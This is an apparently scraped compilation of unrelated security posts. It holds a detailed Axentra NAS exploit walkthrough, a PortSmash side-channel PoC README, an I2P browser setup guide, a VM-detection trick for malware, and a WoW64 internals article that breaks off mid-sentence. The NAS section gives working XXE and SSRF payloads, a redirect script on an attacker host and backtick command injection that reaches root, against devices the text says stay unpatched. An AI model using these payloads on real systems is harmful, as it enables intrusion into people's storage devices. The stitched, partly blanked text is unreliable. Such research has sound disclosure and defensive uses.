( Original text by Paulos Yibelo )

L,DR; not a while ago, right after hearing California is raising its eyebrows on internet-connected device security, Daniel Eshetu and I were exploring the current security state of popular Network Attached Storage (NAS) devices. The California Consumer Privacy ACT,which influenced such measures requires manufacturers to have hardened and above-average enterprise security, enforcing much interesting and unusual care for devices; mainly the so called internet-connected “IoT” devices. In my opinion it should be mandatory to have such security standards for devices that spread so rapidly, especially if they are are mandated correctly and put manufactures on the spot for not caring.

So while dissecting the firmware of the first NAS, it became clear we weren’t dealing with one of those easy-to-compromise kumbaya codebases. Axentra had clean code, no obvious backdoors and even had proper security measures in case something should go wrong. Looking online, ~2 million online NAS can be found. Interesting target, well-spread, good codebase. Our research was supported by the privacy advocate WizCase.

This is a prolonged post detailing how it was possible to craft an RCE exploit from a tricky XXE and SSRF.

About Axentra.

Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It’s used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.

Firmware Analysis.  

After extracting the firmware using binwalk, the backend source were located in /var/www/html/with the webroot in /var/www/html/html. The main handler for the web interface ishomebase.php, and RESTAPIController.php is the main handler for the rest API. All the php files were encoded using IONCube which has a public decoder, and given the version used was an old one, decoding the files didn’t take long.

Once the files were decoded we proceeded to look at the source code, most of it was well written. During the initial analysis we looked at different configuration files which we thought might come into play. One of them was php.ini located in /etc which contained the configuration line ‘register_globals=on’, this was pretty exciting as turning register_globals on is a very insecure configuration and could lead to a plethora of vulnerabilities. But looking through the entire source code, we could not find any chunk of code exploitable through this method. The Axentra code as mentioned before was well written and variables where properly initialized, used and carefully checked, so register_globals was not going to work.

As we kept looking through the source code and moved on to the REST-API endpoint things got a little more interesting, the initial requests are routed through RESTAPIController.phpwhich loads proper classes from /var/www/html/classes/REST and the service classes were in/var/www/html/classes/REST/services in individual folders. While looking through the services most of them were properly authenticated, but there were a few exceptions that were not, one of these was the request aggregator endpoint located at/www/html/classes/REST/services/aggregator in the filesystem and/api/2.0/rest/aggregator/xml from the web url. We will look at how this service works and how we were able to exploit it.

The first file in the directory was AxAggregatorRESTService.php. This file defines and constructs the rest service. Files of the same structure exist in every service directory with different names ending with the same RESTService.php suffix. In this file there were interesting lines (shown below). Note that line numbers might be inaccurate since the files were decoded and we didn’t bother to remove the header generated by the decoder (a block of comment at the beginning of each file plus random breaks).

JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php

line 13: private $requiresAuthenticatedHipServUser = false; //This shows the service does not require authentication.
line 14: private $serviceName = ‘aggregator’; //the service name..
…
line 17—18:
if (( count( $URIArray ) == 1 && $URIArray[0] == ‘xml’ )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                $resourceClassName = $this->loadResourceClass( ‘XMLAggregator’ ); // Load a resource class XMLAggregator

The code on line 18 calls a function called loadResourceClass with is provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest services directory after adding the appropriate prefix (Ax) and suffix (RESTResource.php). The code for this function is shown below.

classes/REST/AxAbstractRESTService.php

line 25—30:
function loadResourceClass($resourceName) {
$resourceClassName = ‘Ax’ . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) .‘RESTResource’;
require_once( REST_SERVICES_DIR . $this->serviceName . ‘/’ . $resourceClassName .‘.php’ );
return $resourceClassName;
}
}

The next file we had to look at was AxXMLAggregatorRESTResource.php which is loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint, inside of it is where our first bug was found (XXE). Let’s take a look at the code.

/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php

line 14:
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

line 16:
if (( ( ( $requestBody == » || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) ||!$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != ‘requests’)) {
AxRecoverableErrorException;
throw new ( null, 3 );
}

Now as you can see on the 16th line this file loads xml from the user without validation. Now most php programmers and security researchers would argue this is not vulnerable since external entity loading is disabled in libxml by default and since our code has not called

libxml_disable_entity_loader(false), but one thing to note here is the Axentra firmware uses the libxml library to parse xml data, and libxml started disabling external entity loading by default starting from libxml2 version 2.9 but Axentras firmware has version 2.6 which does not have external entity loading disabled by default, and this leads to an XXE attack, the following request was used to test the XXE.

curl command with output:

Command:

curl —kd ‘<?xml version=»1.0″?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM «http://SolarSystem:9091/XXE_CHECK»> %dtd; ]> <requests> <request href=»/api/2.0/rest/3rdparty/facebook/» method=»GET»></request> </requests>’http://axentra.local/api/2.0/rest/aggregator/xml

Output:

<?xml version=»1.0″?>
<responses>
<response method=»GET» href=»/api/2.0/rest/3rdparty/facebook/»>
<errors><error code=»401″ msg=»Unauthorized»/></errors>
</response>
</responses>%

which produced the following on out listening server:

root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091

^C
root@Server:~#

Now that we had XXE working, we could try and read files and try to dig out sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database containing all usernames and passwords, but this turned out to be a no go since xxe and binary data don’t work so well together, even encoding the data using php filters would not work. And since this method would have required another RCE in the webinterface to take full control of the device, we thought of trying something new.

Since we could make a request from the device (SSRF), we tried to locate endpoints that bypass authentication if the request came from localhost (very common issue/feature?). However, we could not find any good ones and so we moved into the internals of the NAS system specifically how the system executes commands as root (privileged actions). Now this might have not been something to look at if the user-id the web server is using had some sort of sudo privilege, but this was not the case. And since we saw this during our initial overlook of the firmware we knew there was another way the system was executing commands. After a few minutes of searching we found a daemon that the system used to execute commands and found php scripts that communicate with this daemon. We will look at the details below.

The requests to this daemon are sent using xml format and the file is located in/var/www/html/classes/AxServerProxy.php, which calls a function named systemProxyRequestto send the requests. The systemProxyRequest is located in the same file and the code is given below.

/var/www/html/classes/AxServerProxy.php:

line 1564—1688:
function systemProxyRequest($command, $operation, $params = array(  ), $reqData = ») {
$Proc = true;
$host = ‘127.0.0.1’;
$port = 2000;
$fp = fsockopen( $host, $port, $errno, $errstr );
if (!$fp) {
AxRecoverableErrorException;
throw new ( ‘Could not connect to sp server’, 4 );
}
if ($Proc) {
unset( $root );
DOMDocument;
$doc = new ( ‘1.0’ );
$root = $doc->createElement( ‘proxy_request’ );
$cmdNode = $doc->createElement( ‘command_name’ );
$cmdNode->appendChild( $doc->createTextNode( $command ) );
$root->appendChild( $cmdNode );
$opNode = $doc->createElement( ‘operation_name’ );
$opNode->appendChild( $doc->createTextNode( $operation ) );
$root->appendChild( $opNode );

…

if ($reqData[0] == ‘<‘) {
if (substr( $reqData, 0, 5 ) == ‘<?xml’) {
$reqData = preg_replace( ‘/<\?xml.*?\?>/’, », $reqData );
}

DOMDocument;
$reqDoc = new (  );
$reqData = str_replace( », », $reqData );
$reqDoc->loadXML( $reqData );
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
$dNode->appendChild( $mNewNode );
}
….
$root->appendChild( $dNode );
}
if ($root) {
$doc->appendChild( $root );
fputs( $fp, $doc->saveXML(  ) . » );
}

$Resp = »;
stream_set_timeout( $fp, 120 );
while (!feof( $fp )) {
$Resp .= fread( $fp, 1024 );
$info = stream_get_meta_data( $fp );

if ($info[‘timed_out’]) {
return array( ‘return_code’ => ‘FAILURE’, ‘description’ => ‘System Proxy Timeout’, ‘error_code’ => 4, ‘return_message’ => », ‘return_value’ => » );
}
}

As clearly seen above the function takes xml data and cleans out a few things like spaces and sends it to the daemon listening on port 2000 of the local machine. The daemon is located at/sbin/oe-spd and is a binary file, so we looked into it using IDA, the following pieces of code were generated by the Hex-Rays decompiler in IDA.

in function sub_A810:

This function receives the data from the socket as an argument (a2) and parses it.

JUICE B:

signed int __fastcall sub_A810(int a1, const char **a2) line 52:

v10 = strstr(*v3, «<?xml version=\»1.0\»?>»); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)

The line above is important to us mainly because the request is sent through the HTTP protocol so the daemons «feature» to skip over the junk data allows us to embed our payload in an http request to http://127.0.0.1:2000 (the daemons port) without worrying about formatting or the daemon bailing because of unknown characters; it does the same thing with junk data after the xml too.

Now, we skipped over looking into how the whole oe-spd daemon code works, mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we need to test out a few ways we could go about achieving that, we had the format of the messages fromAxServerProxy.php and some from usr/lib/spd/scripts/. The method we used to find the RCE was sending the request through curl, and tracing the process with strace while running in a qemu environment, this helped us filter out execve calls with the right parameters to use as a payload. As a note there were A LOT of vulnerable functions in this daemon, but in the following we only show the one we used to achieve RCE. The interested one’s among you can explore the daemon using the hints we gave above.

curl command and response:

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>BOGUS_DEVICE</parameter></proxy_request>’ http://127.0.0.1:2000/
*   Trying 127.0.0.1…
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes

<?xml version=»1.0″?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code=»SUCCESS» description=»Operation successful» />
</proxy_return>

strace command and output

sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid  2510] execve(«/usr/lib/spd/usb», [«/usr/lib/spd/usb»], 0x63203400 /* 22 vars */ <unfinished …>
[pid  2511] +++ exited with 0 +++
[pid  2510] <… execve resumed> )      = 0
[pid  2513] execve(«/bin/sh», [«sh», «-c», «/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual»], 0x62c67f10 /* 22 vars */ <unfinished …>
[pid  2514] +++ exited with 0 +++
[pid  2513] <… execve resumed> )      = 0
[pid  2513] execve(«/usr/lib/spd/scripts/usb/usbremoveall», [«/usr/lib/spd/scripts/usb/usbremoveall», «/dev/BOGUS_DEVICE», «manual»], 0x62a65800 /* 22 vars */ <unfinished …>
[pid  2515] +++ exited with 0 +++
[pid  2513] <… execve resumed> )      = 0
[pid  2517] execve(«/bin/sh», [«sh», «-c», «grep /dev/BOGUS_DEVICE /etc/mtab»], 0x63837f80 /* 22 vars */ <unfinished …>
[pid  2518] +++ exited with 0 +++
[pid  2517] <… execve resumed> )      = 0
[pid  2517] execve(«/bin/grep», [«grep», «/dev/BOGUS_DEVICE», «/etc/mtab»], 0x64894000 /* 22 vars */ <unfinished …>
[pid  2519] +++ exited with 0 +++
[pid  2517] <… execve resumed> )      = 0
[pid  2520] +++ exited with 1 +++
[pid  2517] +++ exited with 1 +++
[pid  2513] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} —
[pid  2516] +++ exited with 1 +++
[pid  2513] +++ exited with 1 +++
[pid  2510] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} —
[pid  2512] +++ exited with 0 +++
[pid  2510] +++ exited with 0 +++
[pid  2508] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} —
[pid  2509] +++ exited with 1 +++
[pid  2508] +++ exited with 1 +++

the command execution bug should be clearly visible here, but in case you missed it, the 4th line in the strace output shows out input (BOGUS_DEVICE) being passed to a /bin/sh call, now we send a test injection to see if our command execution works.

curl command and output:

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>`echo pwnEd`</parameter></proxy_request>’ http://127.0.0.1:2000/

<?xml version=»1.0″?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code=»SUCCESS» description=»Operation successful» />
</proxy_return>

Strace output:

[pid  2550] execve(«/usr/lib/spd/usb», [«/usr/lib/spd/usb»], 0x63203400 /* 22 vars */ <unfinished …>
[pid  2551] +++ exited with 0 +++
[pid  2550] <… execve resumed> )      = 0
[pid  2553] execve(«/bin/sh», [«sh», «-c», «/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual»], 0x6291cf10 /* 22 vars */ <unfinished …>
…

If you take a close look of the output, it can be seen that «echo pwnEd» command we gave in backticks has been evaluated and the output is being used as a part of a later command. To make this PoC simpler, we just write a file in /tmp and see if it exists in the device.

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>dev_`id>/tmp/pwned`</parameter></proxy_request>’ http://127.0.0.1:2000/
…

Now we have complete command execution. In order to chain this bug with our XXE and SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although sending a normal http request to the daemon was not a problem, things fell apart when we tried to append the payload as a url location in the xml file, the parser failed with an error (Invalid Url) so we had to change our approach. After a few failed attempts we figured out the libxml http client correctly follows 301/2 redirections and this does not make the parser fail since the url given in the redirection does not pass through the same parser as the initial url in the xml data, so we created a little php script to redirect the libxml http client to http://127.0.0.1:2000/ with the payload embedded as a url path. The script is shown below.

redir.php:

<?php
if(isset($_GET[‘red’]))
{
header(‘Location: http://127.0.0.1:2000/a.php?d=<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>»»‘); //302 Redirect

}
?>

Then we ran this on our server the commands we used and the final

output is given below.

curl command and output:

curl -kd ‘<?xml version=»1.0″?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM «http://SolarSystem:9091/redir.php?red=1″> %dtd; ]> <requests> <request href=»/api/2.0/rest/3rdparty/facebook/» method=»GET»></request> </requests>’ http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version=»1.0″?>
<responses>
<response method=»GET» href=»/api/2.0/rest/3rdparty/facebook/»>
<errors><error code=»401″ msg=»Unauthorized»/></errors>
</response>
</responses>%

root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/…
Press Ctrl-C to quit.
[Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1

As seen above the php script sent a 302 (Found) response to the libxml http client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>»»

The above redirection should execute our command injection and create a pwned.txt file in the webroot with the output of id, the following request checks the output and existence of the file.

curl command and output:

curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)

Yay! our pwned.txt has been created and the exploit was successful. We have a video demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. We will post the video and the exploit code soon.

Timeline

This research was the basis of us looking into more NAS devices, like WD MyBook and discovering multiple critical root RCE vulnerabilities that ultimately impacted millions of devices from western countries were published on our research published on WizCase blog here. Unfortunately, Axentra, the affected devices, and even WD, chose silence. Some have responded saying there will NOT BE any patches for the vulnerabilities affecting millions!

This is where, soon in the future, the enforced involvement of laws like The California Consumer Privacy ACT can come to play by holding manufactures responsible for their actions, in this case, at-least regarding patching!

Summary

This is a proof-of-concept exploit of the PortSmash microarchitecture attack, tracked by CVE-2018-5407.

Setup

Prerequisites

A CPU featuring SMT (e.g. Hyper-Threading) is the only requirement.

This exploit code should work out of the box on Skylake and Kaby Lake. For other SMT architectures, customizing the strategies and/or waiting times in 

 is likely needed.

OpenSSL

Download and install OpenSSL 1.1.0h or lower:

cd /usr/local/src

wget https://www.openssl.org/source/openssl-1.1.0h.tar.gz

tar xzf openssl-1.1.0h.tar.gz

cd openssl-1.1.0h/

export OPENSSL_ROOT_DIR=/usr/local/ssl

./config -d shared --prefix=$OPENSSL_ROOT_DIR --openssldir=$OPENSSL_ROOT_DIR -Wl,-rpath=$OPENSSL_ROOT_DIR/lib

make -j8

make test

sudo checkinstall --strip=no --stripso=no --pkgname=openssl-1.1.0h-debug --provides=openssl-1.1.0h-debug --default make install_sw

If you use a different path, you’ll need to make changes to 

 and 

.

Tooling

freq.sh

Turns off frequency scaling and TurboBoost.

sync.sh

Sync trace through pipes. It has two victims, one of which should be active at a time:

1. The stock 
   openssl

    running 

   dgst

    command to produce a P-384 signature.

2. A harness 
   ecc

    that calls scalar multiplication directly with a known key. (Useful for profiling.)

The script will generate a P-384 key pair in 

 if it does not already exist.

The script outputs 

 which is what 

 signed, and you should be able to verify the ECDSA signature 

 afterwards with

openssl dgst -sha512 -verify secp384r1.pem -signature data.sig data.bin

In the 

 tool case, 

 and 

 are meaningless and 

 is not created.

For the 

 commands in 

, the cores need to be two logical cores of the same physical core; sanity check with

$ grep '^core id' /proc/cpuinfo

core id     : 0

core id     : 1

core id     : 2

core id     : 3

core id     : 0

core id     : 1

core id     : 2

core id     : 3

So the script is currently configured for logical cores 3 and 7 that both map to physical core 3 (

).

spy

Measurement process that outputs measurements in 

. To change the 

 strategy, check the port defines in 

. Only one strategy should be active at build time.

Note that 

 is actually raw clock cycle counter values, not latencies. Look in 

 to understand the data format if necessary.

ecc

Victim harness for running OpenSSL scalar multiplication with known inputs. Example:

./ecc M 4 deadbeef0123456789abcdef00000000c0ff33

Will execute 4 consecutive calls to 

 with the given hex scalar.

parse_raw_simple.py

Quick and dirty hack to view 1D traces. The top plot is the raw trace. Everything below is a different digital filter of the raw trace for viewing purposes. Zoom and pan are your friends here.

You might have to adjust the 

 variable if the plots are too aggressively clipped.

Python packages:

sudo apt-get install python-numpy python-matplotlib

Usage

Turn off frequency scaling:

./freq.sh

Make sure everything builds:

make clean

make

Take a measurement:

./sync.sh

View the trace:

python parse_raw_simple.py timings.bin

You can play around with one victim at a time in 

. Sample output for the 

 victim is in 

.

Credits

• Alejandro Cabrera Aldaya (Universidad Tecnológica de la Habana (CUJAE), Habana, Cuba)
• Billy Bob Brumley (Tampere University of Technology, Tampere, Finland)
• Sohaib ul Hassan (Tampere University of Technology, Tampere, Finland)
• Cesar Pereida García (Tampere University of Technology, Tampere, Finland)
• Nicola Tuveri (Tampere University of Technology, Tampere, Finland)

How serious is about Linux? Apparently, serious enough to be working on Sysinternals utilities for the open source operating system.

Microsoft has already released Procdump for Linux, and is currently working on Procman.

Much of this is ready for interested parties to test, but it’s still just being tested and the rough edges are still being figured out. Use at your own risk.

Automatic Setup (Recommended, Windows) Standalone guide

0. Install the Firefox web browser. You can download it from Mozilla’s web site.
1. Download the i2p Firefox profile installer, install-i2pbrowser.exe, from This releases page and run it.
2. To start Firefox with the i2p Browsing profile, click the shortcut to «I2PBrowser-Launcher» or «Private Browsing-I2PBrowser-Launcher» from your Start Menu or your Desktop.

Run-From-Zip (Alternative, Windows)

0. Install the Firefox web browser. You can download it from Mozilla’s web site. The browser must be installed in a default location selected by the Firefox installer for this to work.
1. Download the i2p Firefox profile zip bundle, i2pbrowser-windows-0.01.zip, from This releases page
2. To start Firefox with the i2p Browsing profile, double-click the i2pbrower.bat script.

Manual Setup (OSX) Standalone guide

Manual Setup (Various Linuxes) Standalone guide (Debian-Derived distros see Footnote #2)

NOTE: I’m probably going to add an apparmor profile to this setup for optional installation.

0. Install Firefox-ESR via the method preferred by your Linux distribution.
1. Download the i2pbrowser-gnulinux-0.01.zip from here. If you prefer, an identical i2pbrowser-gnulinux-0.01.tar.gz is also available.
2. Extract it.
3. Run ./install.sh install from within the extracted folder. Alternatively, run ./install.sh run to run entirely from within the current directory.

If you want to just copy-paste some commands into your terminal, you could:

curl https://github.com/eyedeekay/firefox.profile.i2p/releases/download/current/i2pbrowser-gnulinux-0.01.tar.gz --output i2pbrowser-gnulinux-0.01.tar.gz
tar xvzf i2pbrowser-gnulinux-0.01.tar.gz
cd i2pbrowser-gnulinux
./install.sh install

Once you’ve run «./install.sh install» you can safely delete the profile folder if you wish. Alternatively, you could choose to run from the downloaded profile directory by running «./install.sh run» or «./install.sh private» instead. This will always start in Private Browsing mode, and if you delete the download folder, you will need to re-download it to run the browser from the directory again.

Here’s some more information about how to use the install script:

usage:
    ./install.sh install     # install the profile and browser launcher
    ./install.sh uninstall   # remove the profile and browser launcher
    ./install.sh alias       # configure a .bash_alias to launch the browser
    ./install.sh usage       # show this usage message
    ./install.sh update      # update the profile
    ./install.sh run         # run from this directory without installing
        firefox --no-remote --profile "$DIR/.firefox.profile.i2p.default" about:blank $1
    ./install.sh private     # run in private mode from this directory without installing
        firefox --no-remote --profile "$DIR/.firefox.profile.i2p.private" --private about:blank $1
    ./install.sh debug       # run with debugger from this directory without installing
        firefox --jsconsole --devtools --no-remote --profile "$DIR/.firefox.profile.i2p.debug" --private about:blank $1

Screenshots

• check.kovri.i2p:

• valve/fingerprintjs

Footnotes

Differences from Tor Browser

TL:DR There is no security slider, and to compensate for this issue, the Browser is configured to enable fewer features by default.

This browser takes cues from the Tor Browser, which is also a reasonable choice for an i2p browser, but it has some absolutely critical differences from the Tor Browser which will probably not come into play, but which you should be aware of. First, there is no Torbutton, which means that this browser lacks the coarse global controls of sensitive browser features that the Torbutton provides to the Tor Browser Bundle. In order to deal with this issue the default NoScript configuration is more restrictive.

Debian/Ubuntu users

If you are using Debian or Ubuntu, or probably any other up-to-date apt-based Linux distribution, there’s another option which may you may prefer. In order to do this, one must add the Whonix apt package repository to your package sources, and install their tb-starter package from their stretch-testing repository. Don’t worry, I’ll take you through it step-by-step.

Or, you can just run these commands, now that you know what they do:

sudo apt-key --keyring /etc/apt/trusted.gpg.d/whonix.gpg adv --keyserver hkp://ipv4.pool.sks-keyservers.net:80 --recv-keys 916B8D99C38EAF5E8ADC7A2A8D66066A2EEACCDA
echo 'deb http://deb.whonix.org stretch-testers main' | tee /etc/apt/sources.list.d/whonix-testing.list # apt-transport-* season to taste
sudo apt-get update
sudo apt-get install tb-starter

Browser Security Testing:

• master: 3dpwhxxcp47t7h6pnejm5hw7ymv56ywee3zdhct2sbctubsb3yra.b32.i2p
• fingerprinter: qsagwif55g5gxsnka6r5ewuna6gokme2nv64s4zofl4hhuuqnd4q.b32.i2p

( Original text by Hexacorn )

This is a little nifty trick for detecting virtualization environments. At least, some of them.

Anytime you restore the snapshot of your virtual machine your guest OS environment will usually run some initialization tasks first. If we talk about VMWare these tasks will be ran by the vmtoolsd.exe process (of course, assuming you have the VMware Tools installed).

Some of the tasks this process performs include clipboard initialization, often placing whatever is in the clipboard on the host inside the clipboard belonging to the guest OS. And this activity is a bad ‘opsec’ of the guest software.

By checking what process recently modified the clipboard we have a good chance of determining that the program is running inside the virtual machine. All you have to do is to call GetClipboardOwner API to determine the window that is the owner of the clipboard at the time of calling, and from there, the process name via e.g. GetWindowThreadProcessId. Yup, it’s that simple. While it may not work all the time, it is just yet another way of testing the environment.

If you want to check how and if it works on your VM snapshots you can use this little program: ClipboardOwnerDebug.exe

This is what I see on my win7 vm snapshot after I revert to its last state and run the ClipboardOwnerDebug.exe program:

Notably, I didn’t drag&drop/copy paste the ClipboardOwnerDebug.exe file to VM, I actually copied it via a network share to ensure my clipboard doesn’t change during this test; and, even if I did just CTRL+C (copy) the file on the host and CTRL+V (paste) it on the guest the result would be very similar anyway. The vmtoolsd.exe process just gets involved all the time.

The malware doesn’t need to rely on the first call to the GetClipboardOwner API. It could stall for a bit observing changes to the clipboard owner windows and testing if at any point there is a reference to a well-known virtualization process. Anytime the context of copying to clipboard changes between the host and the guest OS (very often when you do manual reversing), the clipboard window ownership will change, even if just temporarily.

The below is an example of the clipboard ownership changing during a simple VM session where things are copied to clipboard a few time, both on the host and on the guest and the context of the the clipboard changes. The context switch means that when the guest gets the mouse/keyboard focus, the changes to host clipboard are immediately reflected by the appearance of the vmtoolsd.exe process on the list:

( Original text by PetrBenes )

WoW64 — aka Windows (32-bit) on Windows (64-bit) — is a subsystem that enables 32-bit Windows applications to run on 64-bit Windows. Most people today are familiar with WoW64 on Windows x64, where they can run x86 applications. WoW64 has been with us since Windows XP, and x64 wasn’t the only architecture where WoW64 has been available — it was available on IA-64architecture as well, where WoW64 has been responsible for emulating x86. Newly, WoW64 is also available on ARM64, enabling emulation of both x86 and ARM32 appllications.

MSDN offers brief article on WoW64 implementation details. We can find that WoW64 consists of (ignoring IA-64):

• Translation support DLLs:
  • wow64.dll

    : translation of 

    Nt*

     system calls (

    ntoskrnl.exe

     / 

    ntdll.dll

    )

  • wow64win.dll

    : translation of 

    NtGdi*

    , 

    NtUser*

     and other GUI-related system calls (

    win32k.sys

     / 

    win32u.dll

    )

• Emulation support DLLs:
  • wow64cpu.dll

    : support for running x86 programs on x64

  • wowarmhw.dll

    : support for running ARM32 programs on ARM64

  • xtajit.dll

    : support for running x86 programs on ARM64

Besides 

 system call translation, the 

 provides the core emulation infrastructure.

If you have previous experience with reversing WoW64 on x64, you can notice that it shares plenty of common code with WoW64 subsystem on ARM64. Especially if you peeked into WoW64 of recent x64 Windows, you may have noticed that it actually contains strings such as 

 and that some functions check against 

 machine type:

WoW on x64 systems cannot emulate ARM32 though — it just apparently shares common code. But 

 and 

 sound particularly interesting!

Those similarities can help anyone who is fluent in x86/x64, but not that much in ARM. Also, HexRays decompiler produce much better output for x86/x64 than for ARM32/ARM64.

Initially, my purpose with this blogpost was to get you familiar with how WoW64 works for ARM32 programs on ARM64. But because WoW64 itself changed a lot with Windows 10, and because WoW64 shares some similarities between x64 and ARM64, I decided to briefly get you through how WoW64 works in general.

Everything presented in this article is based on Windows 10 — insider preview, build 18247.

Terms

Througout this article I’ll be using some terms I’d like to explain beforehand:

• ntdll

   or 

  ntdll.dll

   — these will be always refering to the native 

  ntdll.dll

   (x64 on Windows x64, ARM64 on Windows ARM64, …), until said otherwise or until the context wouldn’t indicate otherwise.

• ntdll32

   or 

  ntdll32.dll

   — to make an easy distinction between native and WoW64 

  ntdll.dll

  , any WoW64 

  ntdll.dll

   will be refered with the 

  *32

   suffix.

• emu

   or 

  emu.dll

   — these will represent any of the emulation support DLLs (one of 

  wow64cpu.dll

  ,

  wowarmhw.dll

  , 

  xtajit.dll

  )

• module!FunctionName

   — refers to a symbol 

  FunctionName

   within the 

  module

  . If you’re familiar with WinDbg, you’re already familiar with this notation.

• CHPE

   — “compiled-hybrid-PE”, a new type of PE file, which looks as if it was x86 PE file, but has ARM64 code within them. 

  CHPE

   will be tackled in more detail in the x86 on ARM64 section.

• The terms emulation and binary-translation refer to the WoW64 workings and they may be used interchangeably.

Kernel

This section shows some points of interest in the 

 regarding to the WoW64 initialization. If you’re interested only in the user-mode part of the WoW64, you can skip this part to the Initialization of the WoW64 process.

Kernel (initialization)

Initalization of WoW64 begins with the initialization of the kernel:

• nt!KiSystemStartup
• nt!KiInitializeKernel
• nt!InitBootProcessor
• nt!PspInitPhase0
• nt!Phase1Initialization
  • nt!IoInitSystem
    • nt!IoInitSystemPreDrivers
    • nt!PsLocateSystemDlls

 routine takes a pointer named 

, and then calls 

 in a loop. Let’s figure out what’s going on here:

 appears to be array of pointers to some structure, which holds some NTDLL-related data. The order of these NTDLLs corresponds with this 

 (included in the PDB):

Remember this 

, we’ll be needing it again in a while.

Now, let’s look how such structure looks like:

The 

 function intializes fields of this structure. The layout of this structure isn’t unfortunatelly in the PDB, but you can find a reconstructed version in the appendix.

Now let’s get back to the 

 — there’s more:

• ...
• nt!Phase1Initialization
  • nt!Phase1InitializationIoReady
    • nt!PspInitPhase2
    • nt!PspInitializeSystemDlls

 routine takes a pointer named 

. Let’s look at it:

It looks like it’s some sort of array, again, ordered by the 

 mentioned earlier. Let’s examine 

:

Nothing unexpected — just tuples of function name and function pointer. Did you notice the difference in the number after the 

 field? On x64 there is 19 meanwhile on ARM64 there is 14. This number represents number of items in 

 — and indeed, there is slightly different set of them:

We can see that ARM64 is missing 

 (User-Mode Scheduling) and 

 functions. Also, we can see that ARM64 has one extra function: 

.

On the other hand, all 

 contain the same set of function names:

Notice names of second fields of these “structures”: 

,

, … If we look at the address of those fields, we can see that they’re part of another array:

Those addresses are actually targets of the pointers in the 

 structure. Also, those functions combined with 

 might give you hint that they’re related to this 

 (included in the PDB):

Notice how the order of the 

 corellates with the empty field in the previous screenshot (highlighted). The set of WoW64 NTDLL functions is same on both x64 and ARM64.

(The C representation of this data can be found in the appendix.)

Now we can tell what the 

 function does — it gets image base of each NTDLL (

), resolves all 

 for them (

). Also, only for all WoW64 NTDLLs (

) it assigns the image base to the 

 field of the 

 array (

).

Kernel (create process)

Let’s talk briefly about process creation. As you probably already know, the native 

 is mapped as a first DLL into each created process. This applies for all architectures — x86, x64 and also for ARM64. The WoW64 processes aren’t exception to this rule — the WoW64 processes share the same initialization code path as native processes.

• nt!NtCreateUserProcess
• nt!PspAllocateProcess
  • nt!PspSetupUserProcessAddressSpace
    • nt!PspPrepareSystemDllInitBlock
    • nt!PspWow64SetupUserProcessAddressSpace
• nt!PspAllocateThread
  • nt!PspWow64InitThread
  • nt!KeInitThread // Entry-point: nt!PspUserThreadStartup
• nt!PspUserThreadStartup
• nt!PspInitializeThunkContext
  • nt!KiDispatchException

If you ever wondered how is the first user-mode instruction of the newly created process executed, now you know the answer — a “synthetic” user-mode exception is dispatched, with 

, where 

points to the 

